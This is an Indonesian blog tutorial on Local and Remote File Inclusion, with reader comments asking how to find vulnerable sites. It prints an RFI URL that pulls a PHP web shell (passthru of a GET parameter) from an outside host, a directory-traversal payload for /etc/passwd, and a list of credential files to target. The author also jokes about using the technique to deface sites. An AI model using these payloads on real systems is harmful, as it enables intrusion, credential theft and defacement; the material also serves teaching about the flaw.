Local File Inclusion Vulnerability


Local File Inclusion Vulnerability adalah sebuah kelemahan aplikasi web yang menyebabkan seorang Attacker mdapat mengeksploitasi engine yang digunakan atau Web Server dengan mengakses direktori dan mengeksekusi command di luar root web server. Local File Inclusion Vulnerability erat kaitannya dengan Directory Traversal. Local File Inclusion Vulnerability dilakukan secara lokal dari web server tersebut, sedangkan Remote File Inclusion Vulnerability dilakukan secara remote dengan melakukan menyisipkan script php dari luar kedalam situs atau aplikasi web.

Contoh Remote File Inclusion :

http://www.victim.com/index.php?page=http://www.situsgw.com/cmd.txt&?cmd=ls -al

Injeksi seperti di atas akan memunculkan daftar direktori webserver seperti perintah ls -al di shell linux. Dimana isi file cmd.txt adalah :

<?
passthru($_GET[cmd]);
?>

Dibawah ini contoh skrip php yang vulnerable terhadap LFI (Local File Inclusion):

<?php
$page = $_GET[page];
include($page);
?>

jika script php diakses dengan metode LFI seperti ini

victim.com/index.php?page=../../../../../../../etc/passwd

akan muncul isi dari /etc/passwd

Contoh potongan kode diatas jangan sekali-kali anda gunakan, karena variabel $page tidak ter-sanitasi dengan baik dan memperbolehkan attacker untuk mengakses sebuah halaman web secara langsung. Tapi sialnya contoh script diatas sudah sangat jarang ada di internet sekarang, mungkin para pembuat web mulai pintar🙂 jadi anda harus bekerja keras untuk menemukan bugs ini di Internet.

Sekarang bagaimana cara eksploitasi dari bugs tersebut. Dalam sebuah web server kita tahu ada sebuah script yang vulnerable berada di http://victim.org/data/page.php lalu kita akses script tersebut maka script tersebut berjalan dengan semestinya, sekarang kita akses file sitemap.xml yang berada di root direktori seperti ini http://victim.org/data/page.php?page=sitemap.xml maka akan muncul isi dari file sitemap.xml.

Lalu bagaimana kalau kita akses sitemap.xml seperti ini http://victim.org/data/page.php?page=../sitemap.xml maka muncul isi dari file sitemap.xml sama seperti sebelumnya. penggunaan “../” disebut dengan Directory Transversal. Directory Transversal membuat kita meloncat satu direktori ke atas. Jika tempat hosting web aplikasi tersebut di webserver yang berbasis Unix atau Linux memungkin kita untuk mengintip file-file yang menarik seperti melihat file passwd seperti gambar screenshoot di sebuah webserver di internet dibawah ini ;

local file inclusion
local file inclusion

dan beberapa file yang menarik untuk proses penetration testing :

/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

local file inclusion
local file inclusion

sebenarnya bugs ini bisa kita kembangkan untuk aksi yang lebih iseng lagi🙂 yaitu deface, dimana mengganti halaman web seseorang. cuma gak sempet nyari target yang vulnerable,, tugas kuliah gak selese-selese,,mungkin lain,,hahahaa

21 thoughts on “Local File Inclusion Vulnerability

  1. Cara taunya kl ada variabel bernama q di dlm file index.php itu gmn sih mas? setelah tau br kita bs nulis urlnya kn?bukannya isi lengkap index.php itu yg tau cm pemilik situsnya ya mas?…makasih… mohon pencerahannya…

    • saya kasih contoh url berikut
      http://contoh.com/index.php?page=login
      ketika url diatas diakses, akan membuka halaman login,, itu namanya file inclusion..

      page adalah variabel.. variabel page terisi nilai login dengan metode GET.. lebih lengkap tentang dengan menangkap variabel dari GET di php bisa di cari di google kok,,

      contoh isi kode programmnya seprti ini.

      nah diatas adalah local file inclusion.. karena memanggil file local dalam server..

      kalo remote file inclusion.. menggunakan protokol http://..

      semua tergantung setting di php.ini.. di server..

      gimana maas ?..

  2. iya , kl settingan di php.ini ttg allow_url_include= off atw on udah pernah baca sih mas..
    Tp masih blm ngerti gmn taunya suatu situs bisa kita serang dg LFI atau RFI? itu bs diketahui dg suatu cara atau coba2 mas?

    Oya jika suatu situs bisa diserang dg lfi, itu pasti bs jg diserang dg rfi jg? dan sebaliknya jg gk mas?

    Terus tulisan mas ttg rfi yang=
    http://www.victim.com/index.php?page=http://www.situsgw.com/cmd.txt&amp;?cmd=ls -al
    itu hasilnya akan menampilkan daftar direktori webservernya si korban atau yang di situsgw.com?

    maaf mas, awak emang masih cupu….thx…

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s